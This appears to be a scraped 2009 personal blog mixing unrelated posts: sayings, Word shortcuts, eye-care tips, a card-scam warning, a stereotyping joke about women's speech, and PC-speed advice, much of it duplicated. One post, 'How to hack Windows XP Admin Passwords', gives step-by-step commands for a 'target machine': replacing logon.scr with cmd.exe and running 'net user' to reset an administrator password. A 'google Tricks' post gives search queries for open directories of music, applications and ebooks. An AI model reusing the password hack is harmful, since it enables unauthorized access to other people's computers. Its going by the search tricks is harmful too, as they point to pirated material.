Once gone never come
1) Words
2) Opportunity
3) Time
Never Sure.....
1) Dream
2) Success
3) Fortune
Make a great person
1) Hard work
2) Sincerity
3) Success
Most valuable
1) Love
2) Self respect
3) Time
Must not be lost
1) Peace
2) Hope
3) Honesty
Destroy the person
1) Distrust
2) Jealousy
3) Anger
16 July 2009
09 July 2009
How to hack Windows XP Admin Passwords
This hack will only work if the person that owns the machine has no intelligence. This is how it works: When you or anyone installs Windows XP for the first time, you are asked to put in your username and up to five others. Now, unknowns to many other people this is the only place in Windows XP that you can password the default Administrator Diagnostic Account. This means that to bypass most administrators account son Windows XP all you have to do is boot to safe mode by pressing F8during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.
This has worked for me on both Windows XP Home and Pro.
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Now this one seems to be machine dependant, it works randomly(don't know why)
If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly: (this appeared on www.astalavista.com a few days ago but i found that it wouldn't work on the welcome screen of a normal booted machine)
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cd\ *drops to root
cd\windows\system32
*directs to the system32 dir
mkdir temphack
*creates the folder temphack copy logon.scr temphack\logon.scr
*backsup logon.scr copy cmd.exe temphack\cmd.exe
*backsup cmd.exe del logon.scr
*deletes original logon.scr rename cmd.exe logon.scr
*renames cmd.exe to logon.scr exit
*quits dos
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Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt without logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you're in.
This has worked for me on both Windows XP Home and Pro.
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Now this one seems to be machine dependant, it works randomly(don't know why)
If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly: (this appeared on www.astalavista.com a few days ago but i found that it wouldn't work on the welcome screen of a normal booted machine)
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cd\ *drops to root
cd\windows\system32
*directs to the system32 dir
mkdir temphack
*creates the folder temphack copy logon.scr temphack\logon.scr
*backsup logon.scr copy cmd.exe temphack\cmd.exe
*backsup cmd.exe del logon.scr
*deletes original logon.scr rename cmd.exe logon.scr
*renames cmd.exe to logon.scr exit
*quits dos
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Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt without logging into XP. Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah and you're in.
The Secret Language of Women
Fine
A woman uses this word at the end of any argument in which she feels she is right about but needs to shut you up. Never use "fine" to describe how a woman looks. This will cause you to have one of those arguments.
Five Minutes
This is half an hour. It is equivalent to the same "five minutes" that a football game is going to last before you take out the garbage.
Nothing
This really means, "You'd never understand." "Nothing" is usually accompanied by a woman's desire to turn you inside out, upside-down, and backwards. "Nothing" is often said prior to an argument that will last "Five Minutes" and will end with the word "Fine."
Go Ahead (with raised eyebrows)
This is not permission. This is a dare. One that will result in a woman getting upset over "Nothing" and will end with the word "Fine.
Go Ahead (with normal eyebrows)
This means, "I give up" or "do what you want because I don't care." You will get the "Go Ahead" with raised eyebrows in just a few minutes, followed by "Nothing" and "Fine" and she will talk to you in about "Five Minutes" when she cools off.
Loud Sigh
This is not actually a word, but is still a verbal statement often misunderstood by men. A "Loud Sigh" means she thinks you are an idiot at that moment and is wondering why she is wasting her time arguing over "Nothing."
Soft Sigh
Again, not a word, but a verbal statement. "Soft Sighs" are one of the few things that some men actually understand. This means a woman is content and your best bet is to not move or breathe and she will stay content.
That is Okay
This is one of the most dangerous statements a woman can say to a man. "That's Okay,” means that she wants to think long and hard before paying you retributions for whatever it is that you have done. "That's Okay" is often used with the word "Fine" and used in conjunction with the raised Eyebrow "Go Ahead." At some point in the near future when she has plotted and planned, you are going to be in some very big trouble.
Please Do
This is not a statement, it is an offer. A woman is giving you the chance to come up with whatever excuse or reason you have for doing whatever it is that you have done. You have a fair chance to tell the truth, so be careful and you shouldn't get a "That's Okay."
Thanks
A woman is thanking you. Do not faint; simply say, "You're welcome."
Thanks a lot
This is much different than "Thanks." A woman will say, "Thanks a lot" when she is really ticked off at you. It signifies that you have hurt her in some callous way, and will be followed by the "Loud Sigh." Be careful not to ask what is wrong after the "Loud Sigh," as she will only tell you "Nothing."
A woman uses this word at the end of any argument in which she feels she is right about but needs to shut you up. Never use "fine" to describe how a woman looks. This will cause you to have one of those arguments.
Five Minutes
This is half an hour. It is equivalent to the same "five minutes" that a football game is going to last before you take out the garbage.
Nothing
This really means, "You'd never understand." "Nothing" is usually accompanied by a woman's desire to turn you inside out, upside-down, and backwards. "Nothing" is often said prior to an argument that will last "Five Minutes" and will end with the word "Fine."
Go Ahead (with raised eyebrows)
This is not permission. This is a dare. One that will result in a woman getting upset over "Nothing" and will end with the word "Fine.
Go Ahead (with normal eyebrows)
This means, "I give up" or "do what you want because I don't care." You will get the "Go Ahead" with raised eyebrows in just a few minutes, followed by "Nothing" and "Fine" and she will talk to you in about "Five Minutes" when she cools off.
Loud Sigh
This is not actually a word, but is still a verbal statement often misunderstood by men. A "Loud Sigh" means she thinks you are an idiot at that moment and is wondering why she is wasting her time arguing over "Nothing."
Soft Sigh
Again, not a word, but a verbal statement. "Soft Sighs" are one of the few things that some men actually understand. This means a woman is content and your best bet is to not move or breathe and she will stay content.
That is Okay
This is one of the most dangerous statements a woman can say to a man. "That's Okay,” means that she wants to think long and hard before paying you retributions for whatever it is that you have done. "That's Okay" is often used with the word "Fine" and used in conjunction with the raised Eyebrow "Go Ahead." At some point in the near future when she has plotted and planned, you are going to be in some very big trouble.
Please Do
This is not a statement, it is an offer. A woman is giving you the chance to come up with whatever excuse or reason you have for doing whatever it is that you have done. You have a fair chance to tell the truth, so be careful and you shouldn't get a "That's Okay."
Thanks
A woman is thanking you. Do not faint; simply say, "You're welcome."
Thanks a lot
This is much different than "Thanks." A woman will say, "Thanks a lot" when she is really ticked off at you. It signifies that you have hurt her in some callous way, and will be followed by the "Loud Sigh." Be careful not to ask what is wrong after the "Loud Sigh," as she will only tell you "Nothing."
VISA - MasterCard Fraud
Just a heads up for everyone regarding the latest in Visa fraud. Royal Bank received this communication about the newest fraud. This is happening in southern Alberta right now and moving.
This one is slick since they provide YOU with all the information, except the one piece they want. Note, the callers do not ask for your card number; they already have it.
This information is worth reading. By understanding how the VISA & MasterCard telephone Credit Card Scam works, you will be better prepared to protect yourself. One of our employees was called on Wednesday from 'VISA', and I was called on Thursday from 'MasterCard'.
The Fraud works like this:
Person calling says - 'This is (name), and I'm calling from the Security and Fraud Department at VISA. My Badge number is 12460, your card has been flagged for an unusual purchase pattern, and I am calling to verify. This would be on your VISA card, which was issued by (name of bank). Did you purchase an Anti-Telemarketing Device for $497.99 from a marketing company based in Arizona?' When you say 'No', the caller continues with, 'Then we will be issuing a credit to your account. This is a company we have been watching and the charges range from $297 to $497, just under the $500 purchase Pattern that flags most cards. Before your next statement, the credit will be sent to (gives you your address), is that correct?' You say 'yes'.
The caller continues - 'I will be starting a Fraud Investigation. If you have any questions, you should call the 1- 800 number listed on the back of your card (1-800-VISA) and ask for Security. You will need to refer to this Control Number. The caller then gives you a 6-digit number. 'Do you need me to read it again?'
Here is the IMPORTANT part on how the fraud works - The caller then says, 'I need to verify you are in possession of your card'. He will ask you to 'turn your card over and look for some numbers'. There are seven numbers; the first 4 are part of your card number, the last 3 are the Security Numbers that verify you are the possessor of the card.
These are the numbers you sometimes use to make Internet purchases to prove you have the card. The caller will ask you to read the last 3 numbers to him. After you tell the caller the three numbers, he will say, 'That is correct, I just needed to verify that the card has not been lost or stolen, and that you still have your card. Do you have any other questions?'
After you say no, the caller then thanks you and states, 'Don't hesitate to call back if you do', and hangs up. You actually say very little, and they never ask for or tell you the card number. However, after we were called on Wednesday, we called back. Within 20 minutes to ask a question. Are we were glad we did! The REAL VISA Security Department told us it was a fraud and in the last 15 minutes, a new purchase of $497.99 was charged to our card. We made a real fraud report and closed the VISA account. VISA is reissuing us a new number. What the scammers want is the 3-digit PIN number on the back of the card. Do not give it to them. Instead, tell them you will call VISA or Master Card directly for verification of their conversation.
The real VISA told us that they would never ask for anything on the card as they already know the information since they issued the card! If you give the scammers your 3 Digit PIN Number, you think you're receiving a credit; however, by the time you get your statement you'll see charges for purchases you didn't make, and by then it's almost too late and/or more difficult to actually file a fraud report.
It appears that this is a very active fraud, and evidently quite successful.
Pass this on to all your family and friends.
This one is slick since they provide YOU with all the information, except the one piece they want. Note, the callers do not ask for your card number; they already have it.
This information is worth reading. By understanding how the VISA & MasterCard telephone Credit Card Scam works, you will be better prepared to protect yourself. One of our employees was called on Wednesday from 'VISA', and I was called on Thursday from 'MasterCard'.
The Fraud works like this:
Person calling says - 'This is (name), and I'm calling from the Security and Fraud Department at VISA. My Badge number is 12460, your card has been flagged for an unusual purchase pattern, and I am calling to verify. This would be on your VISA card, which was issued by (name of bank). Did you purchase an Anti-Telemarketing Device for $497.99 from a marketing company based in Arizona?' When you say 'No', the caller continues with, 'Then we will be issuing a credit to your account. This is a company we have been watching and the charges range from $297 to $497, just under the $500 purchase Pattern that flags most cards. Before your next statement, the credit will be sent to (gives you your address), is that correct?' You say 'yes'.
The caller continues - 'I will be starting a Fraud Investigation. If you have any questions, you should call the 1- 800 number listed on the back of your card (1-800-VISA) and ask for Security. You will need to refer to this Control Number. The caller then gives you a 6-digit number. 'Do you need me to read it again?'
Here is the IMPORTANT part on how the fraud works - The caller then says, 'I need to verify you are in possession of your card'. He will ask you to 'turn your card over and look for some numbers'. There are seven numbers; the first 4 are part of your card number, the last 3 are the Security Numbers that verify you are the possessor of the card.
These are the numbers you sometimes use to make Internet purchases to prove you have the card. The caller will ask you to read the last 3 numbers to him. After you tell the caller the three numbers, he will say, 'That is correct, I just needed to verify that the card has not been lost or stolen, and that you still have your card. Do you have any other questions?'
After you say no, the caller then thanks you and states, 'Don't hesitate to call back if you do', and hangs up. You actually say very little, and they never ask for or tell you the card number. However, after we were called on Wednesday, we called back. Within 20 minutes to ask a question. Are we were glad we did! The REAL VISA Security Department told us it was a fraud and in the last 15 minutes, a new purchase of $497.99 was charged to our card. We made a real fraud report and closed the VISA account. VISA is reissuing us a new number. What the scammers want is the 3-digit PIN number on the back of the card. Do not give it to them. Instead, tell them you will call VISA or Master Card directly for verification of their conversation.
The real VISA told us that they would never ask for anything on the card as they already know the information since they issued the card! If you give the scammers your 3 Digit PIN Number, you think you're receiving a credit; however, by the time you get your statement you'll see charges for purchases you didn't make, and by then it's almost too late and/or more difficult to actually file a fraud report.
It appears that this is a very active fraud, and evidently quite successful.
Pass this on to all your family and friends.
08 July 2009
Shortcuts Keys of Microsoft Word
Command Name Shortcut Keys
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All Caps CTRL+SHIFT+A
Annotation ALT+CTRL+M
App Maximize ALT+F10
App Restore ALT+F5
Apply Heading1 ALT+CTRL+1
Apply Heading2 ALT+CTRL+2
Apply Heading3 ALT+CTRL+3
Apply List Bullet CTRL+SHIFT+L
Auto Format ALT+CTRL+K
Auto Text F3 or ALT+CTRL+V
Bold CTRL+B or CTRL+SHIFT+B
Bookmark CTRL+SHIFT+F5
Browse Next CTRL+PAGE DOWN
Browse Previous CTRL+PAGE UP
Browse Sel ALT+CTRL+HOME
Cancel ESC
Center Para CTRL+E
Change Case SHIFT+F3
Char Left LEFT
Char Left Extend SHIFT+LEFT
Char Right RIGHT
Char Right Extend SHIFT+RIGHT
Clear DELETE
Close or Exit ALT+F4
Close Pane ALT+SHIFT+C
Column Break CTRL+SHIFT+ENTER
Column Select CTRL+SHIFT+F8
Copy CTRL+C or CTRL+INSERT
Copy Format CTRL+SHIFT+C
Copy Text SHIFT+F2
Create Auto Text ALT+F3
Customize Add Menu ALT+CTRL+=
Customize Keyboard ALT+CTRL+NUM +
Customize Remove Menu ALT+CTRL+-
Cut CTRL+X or SHIFT+DELETE
Date Field ALT+SHIFT+D
Delete Back Word CTRL+BACKSPACE
Delete Word CTRL+DELETE
Dictionary ALT+SHIFT+F7
Do Field Click ALT+SHIFT+F9
Doc Close CTRL+W or CTRL+F4
Doc Maximize CTRL+F10
Doc Move CTRL+F7
Doc Restore CTRL+F5
Doc Size CTRL+F8
Doc Split ALT+CTRL+S
Double Underline CTRL+SHIFT+D
End of Column ALT+PAGE DOWN
End of Column ALT+SHIFT+PAGE DOWN
End of Doc Extend CTRL+SHIFT+END
End of Document CTRL+END
End of Line END
End of Line Extend SHIFT+END
End of Row ALT+END
End of Row ALT+SHIFT+END
End of Window ALT+CTRL+PAGE DOWN
End of Window Extend ALT+CTRL+SHIFT+PAGE DOWN
Endnote Now ALT+CTRL+D
Extend Selection F8
Field Chars CTRL+F9
Field Codes ALT+F9
Find CTRL+F
Font CTRL+D or CTRL+SHIFT+F
Font Size Select CTRL+SHIFT+P
Footnote Now ALT+CTRL+F
Go Back SHIFT+F5 or ALT+CTRL+Z
Go To CTRL+G or F5
Grow Font CTRL+SHIFT+.
Grow Font One Point CTRL+]
Hanging Indent CTRL+T
Header Footer Link ALT+SHIFT+R
Help F1
Hidden CTRL+SHIFT+H
Hyperlink CTRL+K
Indent CTRL+M
Italic CTRL+I or CTRL+SHIFT+I
Justify Para CTRL+J
Left Para CTRL+L
Line Down DOWN
Line Down Extend SHIFT+DOWN
Line Up UP
Line Up Extend SHIFT+UP
List Num Field ALT+CTRL+L
Lock Fields CTRL+3 or CTRL+F11
Macro ALT+F8
Mail Merge Check ALT+SHIFT+K
Mail Merge Edit Data Source ALT+SHIFT+E
Mail Merge to Doc ALT+SHIFT+N
Mail Merge to Printer ALT+SHIFT+M
Mark Citation ALT+SHIFT+I
Mark Index Entry ALT+SHIFT+X
Mark Table of Contents Entry ALT+SHIFT+O
Menu Mode F10
Merge Field ALT+SHIFT+F
Microsoft Script Editor ALT+SHIFT+F11
Microsoft System Info ALT+CTRL+F1
Move Text F2
New CTRL+N
Next Cell TAB
Next Field F11 or ALT+F1
Next Misspelling ALT+F7
Next Object ALT+DOWN
Next Window CTRL+F6 or ALT+F6
Normal ALT+CTRL+N
Normal Style CTRL+SHIFT+N or ALT+SHIFT+CLEAR (NUM 5)
Open CTRL+O or CTRL+F12 or ALT+CTRL+F2
Open or Close Up Para CTRL+0
Other Pane F6 or SHIFT+F6
Outline ALT+CTRL+O
Outline Collapse ALT+SHIFT+- or ALT+SHIFT+NUM -
Outline Demote ALT+SHIFT+RIGHT
Outline Expand ALT+SHIFT+=
Outline Expand ALT+SHIFT+NUM +
Outline Move Down ALT+SHIFT+DOWN
Outline Move Up ALT+SHIFT+UP
Outline Promote ALT+SHIFT+LEFT
Outline Show First Line ALT+SHIFT+L
Over type INSERT
Page ALT+CTRL+P
Page Break CTRL+ENTER
Page Down PAGE DOWN
Page Down Extend SHIFT+PAGE DOWN
Page Field ALT+SHIFT+P
Page Up PAGE UP
Page Up Extend SHIFT+PAGE UP
Para Down CTRL+DOWN
Para Down Extend CTRL+SHIFT+DOWN
Para Up CTRL+UP
Para Up Extend CTRL+SHIFT+UP
Paste CTRL+V or SHIFT+INSERT
Paste Format CTRL+SHIFT+V
Prev Cell SHIFT+TAB
Prev Field SHIFT+F11 or ALT+SHIFT+F1
Prev Object ALT+UP
Prev Window CTRL+SHIFT+F6 or ALT+SHIFT+F6
Print CTRL+P or CTRL+SHIFT+F12
Print Preview CTRL+F2 or ALT+CTRL+I
Proofing F7
Redo ALT+SHIFT+BACKSPACE
Redo or Repeat CTRL+Y or F4 or ALT+ENTER
Repeat Find SHIFT+F4 or ALT+CTRL+Y
Replace CTRL+H
Reset Char CTRL+SPACE or CTRL+SHIFT+Z
Reset Para CTRL+Q
Revision Marks Toggle CTRL+SHIFT+E
Right Para CTRL+R
Save CTRL+S or SHIFT+F12 or ALT+SHIFT+F2
Save As F12
Select All CTRL+A or CTRL+CLEAR (NUM 5) or CTRL+NUM 5
Select Table ALT+CLEAR (NUM 5)
Show All CTRL+SHIFT+8
Show All Headings ALT+SHIFT+A
Show Heading1 ALT+SHIFT+1
Show Heading2 ALT+SHIFT+2
Show Heading3 ALT+SHIFT+3
Show Heading4 ALT+SHIFT+4
Show Heading5 ALT+SHIFT+5
Show Heading6 ALT+SHIFT+6
Show Heading7 ALT+SHIFT+7
Show Heading8 ALT+SHIFT+8
Show Heading9 ALT+SHIFT+9
Shrink Font CTRL+SHIFT+,
Shrink Font One Point CTRL+[
Small Caps CTRL+SHIFT+K
Space Para1 CTRL+1
Space Para15 CTRL+5
Space Para2 CTRL+2
Spike CTRL+SHIFT+F3 or CTRL+F3
Start of Column ALT+PAGE UP
Start of Column ALT+SHIFT+PAGE UP
Start of Doc Extend CTRL+SHIFT+HOME
Start of Document CTRL+HOME
Start of Line HOME
Start of Line Extend SHIFT+HOME
Start of Row ALT+HOME
Start of Row ALT+SHIFT+HOME
Start of Window ALT+CTRL+PAGE UP
Start of Window Extend ALT+CTRL+SHIFT+PAGE UP
Style CTRL+SHIFT+S
Subscript CTRL+=
Superscript CTRL+SHIFT+=
Symbol Font CTRL+SHIFT+Q
Thesaurus SHIFT+F7
Time Field ALT+SHIFT+T
Toggle Field Display SHIFT+F9
Toggle Master Subdocs CTRL+\
Tool SHIFT+F1
Un Hang CTRL+SHIFT+T
Un Indent CTRL+SHIFT+M
Underline CTRL+U or CTRL+SHIFT+U
Undo CTRL+Z or ALT+BACKSPACE
Unlink Fields CTRL+6 or CTRL+SHIFT+F9
Unlock Fields CTRL+4 or CTRL+SHIFT+F11
Update Auto Format ALT+CTRL+U
Update Fields F9 or ALT+SHIFT+U
Update Source CTRL+SHIFT+F7
VBCode ALT+F11
Web Go Back ALT+LEFT
Web Go Forward ALT+RIGHT
Word Left CTRL+LEFT
Word Left Extend CTRL+SHIFT+LEFT
Word Right CTRL+RIGHT
Word Right Extend CTRL+SHIFT+RIGHT
Word Underline CTRL+SHIFT+W
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All Caps CTRL+SHIFT+A
Annotation ALT+CTRL+M
App Maximize ALT+F10
App Restore ALT+F5
Apply Heading1 ALT+CTRL+1
Apply Heading2 ALT+CTRL+2
Apply Heading3 ALT+CTRL+3
Apply List Bullet CTRL+SHIFT+L
Auto Format ALT+CTRL+K
Auto Text F3 or ALT+CTRL+V
Bold CTRL+B or CTRL+SHIFT+B
Bookmark CTRL+SHIFT+F5
Browse Next CTRL+PAGE DOWN
Browse Previous CTRL+PAGE UP
Browse Sel ALT+CTRL+HOME
Cancel ESC
Center Para CTRL+E
Change Case SHIFT+F3
Char Left LEFT
Char Left Extend SHIFT+LEFT
Char Right RIGHT
Char Right Extend SHIFT+RIGHT
Clear DELETE
Close or Exit ALT+F4
Close Pane ALT+SHIFT+C
Column Break CTRL+SHIFT+ENTER
Column Select CTRL+SHIFT+F8
Copy CTRL+C or CTRL+INSERT
Copy Format CTRL+SHIFT+C
Copy Text SHIFT+F2
Create Auto Text ALT+F3
Customize Add Menu ALT+CTRL+=
Customize Keyboard ALT+CTRL+NUM +
Customize Remove Menu ALT+CTRL+-
Cut CTRL+X or SHIFT+DELETE
Date Field ALT+SHIFT+D
Delete Back Word CTRL+BACKSPACE
Delete Word CTRL+DELETE
Dictionary ALT+SHIFT+F7
Do Field Click ALT+SHIFT+F9
Doc Close CTRL+W or CTRL+F4
Doc Maximize CTRL+F10
Doc Move CTRL+F7
Doc Restore CTRL+F5
Doc Size CTRL+F8
Doc Split ALT+CTRL+S
Double Underline CTRL+SHIFT+D
End of Column ALT+PAGE DOWN
End of Column ALT+SHIFT+PAGE DOWN
End of Doc Extend CTRL+SHIFT+END
End of Document CTRL+END
End of Line END
End of Line Extend SHIFT+END
End of Row ALT+END
End of Row ALT+SHIFT+END
End of Window ALT+CTRL+PAGE DOWN
End of Window Extend ALT+CTRL+SHIFT+PAGE DOWN
Endnote Now ALT+CTRL+D
Extend Selection F8
Field Chars CTRL+F9
Field Codes ALT+F9
Find CTRL+F
Font CTRL+D or CTRL+SHIFT+F
Font Size Select CTRL+SHIFT+P
Footnote Now ALT+CTRL+F
Go Back SHIFT+F5 or ALT+CTRL+Z
Go To CTRL+G or F5
Grow Font CTRL+SHIFT+.
Grow Font One Point CTRL+]
Hanging Indent CTRL+T
Header Footer Link ALT+SHIFT+R
Help F1
Hidden CTRL+SHIFT+H
Hyperlink CTRL+K
Indent CTRL+M
Italic CTRL+I or CTRL+SHIFT+I
Justify Para CTRL+J
Left Para CTRL+L
Line Down DOWN
Line Down Extend SHIFT+DOWN
Line Up UP
Line Up Extend SHIFT+UP
List Num Field ALT+CTRL+L
Lock Fields CTRL+3 or CTRL+F11
Macro ALT+F8
Mail Merge Check ALT+SHIFT+K
Mail Merge Edit Data Source ALT+SHIFT+E
Mail Merge to Doc ALT+SHIFT+N
Mail Merge to Printer ALT+SHIFT+M
Mark Citation ALT+SHIFT+I
Mark Index Entry ALT+SHIFT+X
Mark Table of Contents Entry ALT+SHIFT+O
Menu Mode F10
Merge Field ALT+SHIFT+F
Microsoft Script Editor ALT+SHIFT+F11
Microsoft System Info ALT+CTRL+F1
Move Text F2
New CTRL+N
Next Cell TAB
Next Field F11 or ALT+F1
Next Misspelling ALT+F7
Next Object ALT+DOWN
Next Window CTRL+F6 or ALT+F6
Normal ALT+CTRL+N
Normal Style CTRL+SHIFT+N or ALT+SHIFT+CLEAR (NUM 5)
Open CTRL+O or CTRL+F12 or ALT+CTRL+F2
Open or Close Up Para CTRL+0
Other Pane F6 or SHIFT+F6
Outline ALT+CTRL+O
Outline Collapse ALT+SHIFT+- or ALT+SHIFT+NUM -
Outline Demote ALT+SHIFT+RIGHT
Outline Expand ALT+SHIFT+=
Outline Expand ALT+SHIFT+NUM +
Outline Move Down ALT+SHIFT+DOWN
Outline Move Up ALT+SHIFT+UP
Outline Promote ALT+SHIFT+LEFT
Outline Show First Line ALT+SHIFT+L
Over type INSERT
Page ALT+CTRL+P
Page Break CTRL+ENTER
Page Down PAGE DOWN
Page Down Extend SHIFT+PAGE DOWN
Page Field ALT+SHIFT+P
Page Up PAGE UP
Page Up Extend SHIFT+PAGE UP
Para Down CTRL+DOWN
Para Down Extend CTRL+SHIFT+DOWN
Para Up CTRL+UP
Para Up Extend CTRL+SHIFT+UP
Paste CTRL+V or SHIFT+INSERT
Paste Format CTRL+SHIFT+V
Prev Cell SHIFT+TAB
Prev Field SHIFT+F11 or ALT+SHIFT+F1
Prev Object ALT+UP
Prev Window CTRL+SHIFT+F6 or ALT+SHIFT+F6
Print CTRL+P or CTRL+SHIFT+F12
Print Preview CTRL+F2 or ALT+CTRL+I
Proofing F7
Redo ALT+SHIFT+BACKSPACE
Redo or Repeat CTRL+Y or F4 or ALT+ENTER
Repeat Find SHIFT+F4 or ALT+CTRL+Y
Replace CTRL+H
Reset Char CTRL+SPACE or CTRL+SHIFT+Z
Reset Para CTRL+Q
Revision Marks Toggle CTRL+SHIFT+E
Right Para CTRL+R
Save CTRL+S or SHIFT+F12 or ALT+SHIFT+F2
Save As F12
Select All CTRL+A or CTRL+CLEAR (NUM 5) or CTRL+NUM 5
Select Table ALT+CLEAR (NUM 5)
Show All CTRL+SHIFT+8
Show All Headings ALT+SHIFT+A
Show Heading1 ALT+SHIFT+1
Show Heading2 ALT+SHIFT+2
Show Heading3 ALT+SHIFT+3
Show Heading4 ALT+SHIFT+4
Show Heading5 ALT+SHIFT+5
Show Heading6 ALT+SHIFT+6
Show Heading7 ALT+SHIFT+7
Show Heading8 ALT+SHIFT+8
Show Heading9 ALT+SHIFT+9
Shrink Font CTRL+SHIFT+,
Shrink Font One Point CTRL+[
Small Caps CTRL+SHIFT+K
Space Para1 CTRL+1
Space Para15 CTRL+5
Space Para2 CTRL+2
Spike CTRL+SHIFT+F3 or CTRL+F3
Start of Column ALT+PAGE UP
Start of Column ALT+SHIFT+PAGE UP
Start of Doc Extend CTRL+SHIFT+HOME
Start of Document CTRL+HOME
Start of Line HOME
Start of Line Extend SHIFT+HOME
Start of Row ALT+HOME
Start of Row ALT+SHIFT+HOME
Start of Window ALT+CTRL+PAGE UP
Start of Window Extend ALT+CTRL+SHIFT+PAGE UP
Style CTRL+SHIFT+S
Subscript CTRL+=
Superscript CTRL+SHIFT+=
Symbol Font CTRL+SHIFT+Q
Thesaurus SHIFT+F7
Time Field ALT+SHIFT+T
Toggle Field Display SHIFT+F9
Toggle Master Subdocs CTRL+\
Tool SHIFT+F1
Un Hang CTRL+SHIFT+T
Un Indent CTRL+SHIFT+M
Underline CTRL+U or CTRL+SHIFT+U
Undo CTRL+Z or ALT+BACKSPACE
Unlink Fields CTRL+6 or CTRL+SHIFT+F9
Unlock Fields CTRL+4 or CTRL+SHIFT+F11
Update Auto Format ALT+CTRL+U
Update Fields F9 or ALT+SHIFT+U
Update Source CTRL+SHIFT+F7
VBCode ALT+F11
Web Go Back ALT+LEFT
Web Go Forward ALT+RIGHT
Word Left CTRL+LEFT
Word Left Extend CTRL+SHIFT+LEFT
Word Right CTRL+RIGHT
Word Right Extend CTRL+SHIFT+RIGHT
Word Underline CTRL+SHIFT+W
Helpful Tips on Eye Care
| With so many of us spending lots of time in front of the computer every day it comes to no surprise that research is showing a rise in visual problems. What can one do? First, it’s important to find out how you can protect your eyes through eye health exams and by making a few minor changes in your computer viewing habits. Here are some helpful Eye Care Tips - Positioning is everything Correct positioning of your computer, keyboard and typing copy is essential. Your screen should be positioned about an arm’s length from your eyes and 20 degrees below eye level. Consider foot and wrist rests for added comfort. Room lighting should be diffuse, not direct, to reduce glare and reflections from your screen. Look into an internal or external glare screen and be sure to set your colour, contrast and brightness levels to suit you. Anti-reflective coatings on the lenses of your glasses can be applied by your optometrist to reduce discomfort and to ease reduced vision from bright and/or flickering light sources such as VDTs and fluorescent lights. And don’t forget, your doctor of optometry can talk to you about eyeglasses designed specifically for people who use computers a lot. Take time out, our 20-20-20 rule Step I :- Did you know that on average we blink 12 times per minute? But wait, did you know that when we’re on the computer we only blink 5 times per minute? That can add up to dry eyes. Relieve the discomfort by using artificial tear drops or gels and remember to blink! Palming Eat healthy |
Create Your Own Logon Message
You can create a message that will appear when you log on to your computer.
Click Start, click Run, type regedit, and then click OK.
In the Registry Editor, drill down to the following key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Right-click LegalNoticeCaption, click Modify, type My Windows XP Machine, and then click OK.
Right-click LegalNoticeText, click Modify, and then type your message.
Close the editor and your new message will appear at every log on.
This tip applies to computers that are part of a domain. For stand-alone or peer-to-peer networks, the custom screen appears just before the Welcome screen.
You may need to have an administrator account on your computer to make changes to the registry. Incorrectly editing the registry may severely damage your system. At the very least, you should back up any valued data on the computer before making changes to the registry.
Click Start, click Run, type regedit, and then click OK.
In the Registry Editor, drill down to the following key: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Right-click LegalNoticeCaption, click Modify, type My Windows XP Machine, and then click OK.
Right-click LegalNoticeText, click Modify, and then type your message.
Close the editor and your new message will appear at every log on.
This tip applies to computers that are part of a domain. For stand-alone or peer-to-peer networks, the custom screen appears just before the Welcome screen.
You may need to have an administrator account on your computer to make changes to the registry. Incorrectly editing the registry may severely damage your system. At the very least, you should back up any valued data on the computer before making changes to the registry.
google Tricks
This is to make your "Google" search much more easier...
For :
Songs/Entertainment
“parent directory ” MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
?intitle:index.of? mp3
?intitle:index.of? mp3 britney - Change britney with the artist you want.
Applications
“parent directory ” /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
“parent directory ” Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Ebooks
+(”index of”) +(”/ebooks”|”/book”) +(chm|pdf|zip|rar) +apache
ebook intitle:”Title” filetype
df ~ Change the Title according to your Need.
For :
Songs/Entertainment
“parent directory ” MP3 -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
?intitle:index.of? mp3
?intitle:index.of? mp3 britney - Change britney with the artist you want.
Applications
“parent directory ” /appz/ -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
“parent directory ” Gamez -xxx -html -htm -php -shtml -opendivx -md5 -md5sums
Ebooks
+(”index of”) +(”/ebooks”|”/book”) +(chm|pdf|zip|rar) +apache
ebook intitle:”Title” filetype
df ~ Change the Title according to your Need.
Maintaining your Machine, What makes your machine slow?
I've heard a lot of comments from the malware staffs that there are a lot of people thinking that a slow computer is caused by malware. However, a slow PC might have several causes other than malware. In this thread I will be giving you a step by step guide on how to speed up your PC. The main thing that slows your PC down, if it's not malware, is clogged up Temp files.
Here's a list of common causes of slow machines:
1. Low amounts of memory (RAM)
I have had a lot of people in my neighbourhood asking me why their PC was slow. One of the highest causes was the low amount of memory in their PCs. A lot of old PCs still have 256 MB RAM in their machine while Windows XP already has a recommended of 512 MB and Vista is even more demanding with a stunning 1024 MB (1GB). Having a low amount of memory can cause the PC to take ages in performing what we would think to be simple tasks. While this is usually true, the PC doesn't only have to run the simple task, but at the same time keep services up, your Protection software running and possibly more programs that are running in the background. Therefore it is a good idea to have at least the recommended amount of memory in your machine for the operating system that you are running. If you are going to be running a lot of programs at once, consider taking at least 512 MB above recommendation to keep everything running smoothly.
2. Multiple protection systems installed
As I'm not trained in Malware Removal and do not know a lot about how Protection Systems work I shall quote from a blog post by Miekiemoes found here. (Also worth reading!!)
QUOTE
This is a common mistake many users make. They think that having more than one Antivirus and Firewall installed will protect them in a better way. It won't.. On the contrary..
Rather than giving you extra protection, it will seriously decrease reliability and effectiveness ! The reason for this is that if both products have their automatic (Real-Time) protection switched on, your system may lock up due to both software products attempting to access the same file at the same time. Also, if more than one Antivirus and Firewall installed are not compatible with eachother, it can cause system performance problems and a serious system slowdown. It happens quite a lot that a system won't even boot properly because of more than one Antivirus and Firewall installed.
